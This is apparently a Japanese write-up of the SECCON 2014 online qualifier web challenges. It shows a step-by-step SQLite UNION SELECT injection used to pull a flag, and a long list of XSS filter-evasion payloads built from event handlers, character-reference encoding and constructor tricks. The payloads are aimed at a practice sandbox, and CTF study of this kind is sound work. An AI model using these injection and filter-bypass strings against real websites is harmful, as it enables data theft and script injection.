14
オンライン予選

とある診断員のSECCONオンライン予選

Embed Size (px)

DESCRIPTION

7/19に開催されたSECCON 2014 オンライン予選に参加した時に、自分が解いたWeb 100と300の問題のwrite upを書きました。

Citation preview

オンライン予選

自己紹介

セキュリティエンジニアやってます。

脆弱性診断業務を担当しており、専門はWebセキュリティです。

SECCONオンライン予選にはチーム「vuls」で参加していました。

TwitterID: tigerszk

今回は参加して非常に楽しかったので、自分の解いたWebの問題について忘れない内にWrite UPを書きました。

箱庭SQLi

なんとSQLiも箱庭に! 検索画面におけるSQLiの脆弱性がテーマの問題 Web 100点の問題

そりゃね

当たり前だけどそりゃインジェクションはできます。

やったこと もうやることはインジェクションでデータぶっこ抜くしかないよねってことで、早速夢が広がるUNION SELECTを使うことにする。

カラム数の特定

order byかまして6だとエラーになったので、select文のカラム数は5と特定 ' order by 6;--

UNION SELECTを実行

とりあえずUNION SELECTできることを確認

' UNION ALL SELECT null,null,null,null,null;--

DBの特定

以下のSQL文が通ったのでデータベースが「SQLLite」だと特定

' UNION ALL SELECT null,null,null,null,null FROM sqlite_master;--

テーブル名の一覧を取得

UNION SELECTで「sqlite_master」テーブルからテーブル名をGET!

' UNION ALL SELECT null,name,null,null,null FROM sqlite_master order by name;-- このDBでは以下のテーブルが存在していることがわかった

SECCON COMPANY sqlite_autoindex_COMPANY_1

とりあえず解けて良かった

見るからに「SECCON」ってテーブルが怪しいし、カラムは「flag」かなと思って適当に 以下のSQL文を実行したらflagをGET!やったね ' UNION ALL SELECT null,flag,null,null,null FROM SECCON;--

箱庭XSSリターンズ

ご存知今回もでてきた箱庭XSS

ひたすらXSSを発生させてアラートを上げていく問題

Web 300点の問題

スゲーいじわる

例えば「 “><script>alert(‘XSS’)</script> 」を入力するとこうなる。

入力した文字の内容に応じて弾かれる文字が増えていく鬼畜仕様となっている。

どんどん使えなくなる文字列が増えるので、入力する順番を考える必要がある。

おまけに

上のバーに注目すると、Stage2であの程度の増加分なので、天竺並みの果てしない道のりであることがわかり、若干ていうかかなり心が折れそうになる。

※ちなみに結局全部で20ステージもあった。

今回は完全敗北 頑張ったんだけど時間内では、15問目が限界でした。今回は勝てなかった。。。 【僕が挿入した文字列】

"onKeyDown="document.write('<¥x73cript>¥x61lert(¥x22XSS¥x22)</¥x73cript>')" "onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;" "onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00041;" "onMouseLeave="&#0097;&#00108;&#00101;&#00114;&#00116;&#0040;&#0039;&#0088;&#0083;&#0083;&#0039;&#0041;" "onMouseOut="&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;" "onMouseMove="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;" "onFocusOut="&#x000061;&#x00006c;&#x000065;&#x000072;&#x000074;&#x000028;&#x000027;&#x000058;&#x000053;&#x000053;&#x000027;&#x000029;" "onclick="&#x00061;&#x0006c;&#x00065;&#x00072;&#x00074;&#x00028;&#x00027;&#x00058;&#x00053;&#x00053;&#x00027;&#x00029;" "onFocus="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;&#x0053;&#x0053;&#x0027;&#x0029;" "onMouseWheel="&#x061;&#x06c;&#x065;&#x072;&#x074;&#x028;&#x027;&#x058;&#x053;&#x053;&#x027;&#x029;" "onMouseUp="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;" "onmouseover="alert(decodeURI(decodeURI(/%58%53%53/.source)))" "><script>eval('¥u0061¥u006c¥u0065¥u0072¥u0074¥u0028¥u0027¥u0058¥u0053¥u0053¥u0027¥u0029');</script> "onKeyPress="/127641/['constructor']['constructor']('al'+'ert'+'('+'¥''+'XSS'+'¥''+')')() "onSelectStart="/123441/['cons'+'truc'+'tor']['cons'+'truc'+'tor']('a'+'l'+'e'+'r'+'t'+'('+'¥''+'XS'+'S'+'¥''+')')()

先頭文字のみを数値文字参照とかすると、ブラックリストになる文字列が、数値文字参照を含んだ結構まとまった文字列になることに、残り30分くらいに気づいたorz…時すでに遅し。 例えば「“onmouseover=”&#97lert(‘&#x58SS’)“」とかいれるとフィルタされるのは 「onmouseover」、「97lert」、「x58SS」となるみたい。 これだったらイベントハンドラ使いまくればもっとイケそうじゃんと思った時にはタイムアップ。

途中でご褒美が

6問解いた時点でご褒美をいただいた。

運営の方の暖かさを感じた瞬間である。マジで泣きそうになった。

お家に帰ってから復習しました 箱庭だからお家でも続きができたので、頑張ってクリアしました! 下記が僕が攻略した挿入文字列です。かなり力押しなので全然美しくない、、、 いやーイベントハンドラってホントに沢山ありますねw "onKeyPress="¥u0077indow['¥u0061lert']('¥u0058SS')" "onSelectStart="&#x00077indow['&#x00061lert']('&#x00058SS')" "onblur="&#x0077indow['&#x0061lert']('&#x0058SS')" "onmouseover="&#x077indow['&#x061lert']('&#x058SS')" "onbeforepaste="&#000119indow['&#00097lert']('&#00088SS')" "ondblclick="&#00119indow['&#0097lert']('&#0088SS')" "oncopy="&#0119indow['&#097lert']('&#088SS')" "onpaste="&#119indow['&#97lert']('&#88SS')" "onKeyDown="document.write('<¥x73cript>¥x61lert(¥x22XSS¥x22)</¥x73cript>')" "onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;" "onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00041;" "onMouseLeave="&#0097;&#00108;&#00101;&#00114;&#00116;&#0040;&#0039;&#0088;&#0083;&#0083;&#0039;&#0041;" "onMouseOut="&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;" "onMouseMove="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;" "onFocusOut="&#x000061;&#x00006c;&#x000065;&#x000072;&#x000074;&#x000028;&#x000027;&#x000058;&#x000053;&#x000053;&#x000027;&#x000029;" "onclick="&#x00061;&#x0006c;&#x00065;&#x00072;&#x00074;&#x00028;&#x00027;&#x00058;&#x00053;&#x00053;&#x00027;&#x00029;" "onFocus="&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;&#x0053;&#x0053;&#x0027;&#x0029;" "onMouseWheel="&#x061;&#x06c;&#x065;&#x072;&#x074;&#x028;&#x027;&#x058;&#x053;&#x053;&#x027;&#x029;" "onMouseUp="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;" "><script>alert('XSS')</script>

できれば見たかったなあ

全部を解くと最後にFLAGがGETできる。

できれば戦っている時に見たかった、、、

まとめ

俺のXSS力が足りないことが良くわかった。 もっと修行が必要だorz...

SECCON運営の皆様、非常に楽しい時間でした。

有難うございました!